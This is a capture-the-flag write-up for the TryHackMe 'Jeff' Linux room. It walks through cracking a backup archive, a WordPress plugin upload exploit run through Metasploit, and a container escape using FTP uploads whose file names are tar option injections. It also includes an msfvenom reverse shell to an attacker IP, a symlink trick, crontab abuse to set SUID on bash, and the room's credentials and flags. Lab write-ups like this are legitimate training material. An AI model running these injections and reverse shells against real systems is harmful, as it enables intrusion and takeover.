TryHackMe Jeff Writeup (Hard Linux)

Summary

Jeff is a hard Linux room serving jeff.thm over nginx, where directory brute forcing finds /backups and extension fuzzing finds backup.zip. The archive is password protected, but zip2john and rockyou crack it, and wpadmin.bak inside carries the WordPress password. Subdomain fuzzing reveals wordpress.jeff.thm, which accepts that password for the user jeff, and uploading the vulnerable Reflex Gallery plugin turns its arbitrary file upload into a Metasploit session, though the shell is inside a container. There, /var/www/html/ftp_backup.php leaks FTP credentials for the host at 172.20.0.1, and because the backup script drives tar, uploading files named as tar options through curl abuses the wildcard to execute a script and returns a shell as backupmgr on the host. /opt/systools/systool prints message.txt from the current directory, so replacing it with a symlink to /var/backups/jeff.bak discloses jeff’s password, and jeff may run crontab as root, which schedules a Python script that sets the SUID bit on /bin/bash.

• export IP=10.10.182.239

Port scanning

22/tcp on 10.10.182.239 OpenSSH 7.6p1

80/tcp on 10.10.182.239 nginx

Virtual host jeff.thm

Virtual host enumeration

• Discovered a series of directories /uploads /admin /assets /backups

• At /uploads, there’s a form that does absolutely nothing

• Empty page: /admin. There’s a path to login.php, but it appears to be an empty file

• /assets is 403 forbidden

• /backups says ‘jeff.thm’. Brufeforcing file extensions via gobuster, backup file found at path: /backups/backup.zip

Target: backup.zip

• There are some files that are password-protected, so I used: zip2john backup.zip > john john john –wordlist=/usr/share/wordlists/rockyou.txt

!!Burningbird!! (backup.zip)

• wpadmin.bak contents:

wordpress password is: phO#g)C5dhIWZn3BKP

• No password reuse at ssh

Target: subdomain wordpress.jeff.thm

$ wfuzz -c --hw 977 -u http://jeff.thm/ -H "Host: FUZZ.jeff.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt | tee subdomain-enum.txt

• Able to log in as jeff at http://wordpress.jeff.thm/wp-login.php with the previously found password (backup.zip) jeff:phO#g)C5dhIWZn3BKP

Initial shell

• Tried many ways to get a shell but the one which worked was uploading a vulnerable plugin to the webserver:

Source https://exploit-db.com/exploits/36374

• Download: https://exploit-db.com/apps/ad33afbc2f2e22877b202d986acd43bd-reflex-gallery.zip

• Downloaded the plugin from this source and uploaded to the webserver. Go to plugins > upload plugin and select the zip file

• Once the plugin has been uploaded, we need to activate it and when its done, run msfconsole and use this module

msf6 > use unix/webapp/wp_reflexgallery_file_upload
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set LHOST 10.6.95.77
LHOST => 10.6.95.77
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set RHOSTS wordpress.jeff.thm
RHOSTS => wordpress.jeff.thm
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > run

Docker breakout

-rwsr-xr-x 1 root root 44K Jul 27 2018 /usr/bin/chsh (Unknown SUID binary)

Backup file -rw-r–r– 1 root root 575 May 18 2020 /var/www/html/ftp_backup.php

• Contents: /var/www/html/ftp_backup.php:username = “backupmgr”; /var/www/html/ftp_backup.php:password = “SuperS1ckP4ssw0rd123!”;

<?php
/* 
    Todo: I need to finish coding this database backup script.
          also maybe convert it to a wordpress plugin in the future.
*/
$dbFile = 'db_bac/usr/local/bin/chiselkup/backup.sql';
$ftpFile = 'backup.sql';

$username = "backupmgr";
$password = "SuperS1ckP4ssw0rd123!";

$ftp = ftp_connect("172.20.0.1"); // todo, set up /etc/hosts for the container host

if( ! ftp_login($ftp, $username, $password) ){
    die("FTP Login failed.");
}

$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
    $msg = "$file was uploaded.\n";
}

echo $msg;
ftp_close($conn_id);

Learned: Curl is very powerful. A lot of usages.

As the php script is trying to upload a database file, the server must be doing something on its side. Exploiting ‘tar’ being used with wildcards (*), uploading via ftp

• shell.sh contents (output from msfvenom) $ msfvenom -p cmd/unix/reverse_python lhost=10.6.95.77 lport=1234 R

curl -s -v -P - 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1' # List files at /

curl -T "--checkpoint-action=exec=sh shell.sh" -P - 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
curl -T "--checkpoint=1" -P - 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
curl -T shell.sh -P - 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'

curl -P - 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/' -s

curl -v 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/' -Q "DELE /files/shell.sh"

• Opened a netcat listener on port 1234 and received a shell as backupmgr

Horizontal privilege escalation

$ find / -user jeff 2>/dev/null /var/backups/jeff.bak /opt/systools /opt/systools/systool

/opt/systools/systool [ reading message.txt when selecting option 2 ]

rm message.txt ln -s /var/backups/jeff.bak message.txt

$ ./systool 2

123-My-N4M3-1z-J3ff-123

Vertical privilege escalation

User jeff may run the following commands on tryharder: (ALL) /usr/bin/crontab

• • • • • /usr/bin/python3 /dev/shm/script.py
• /dev/shm/script.py contents:

import os

os.system('chmod +s /bin/bash')

$ /bin/bash -p

Flags area

THM{HashMeLikeOneOfYourFrenchGirls}   [ user.txt ]

THM{e122d5588956ef9ba7d4d2b2fee00cac}   [ hashed user.txt // $echo -n string | md5sum ]
THM{40fc54e5c0f5747dfdd35e0cc7db6ee2}   [ root.txt ]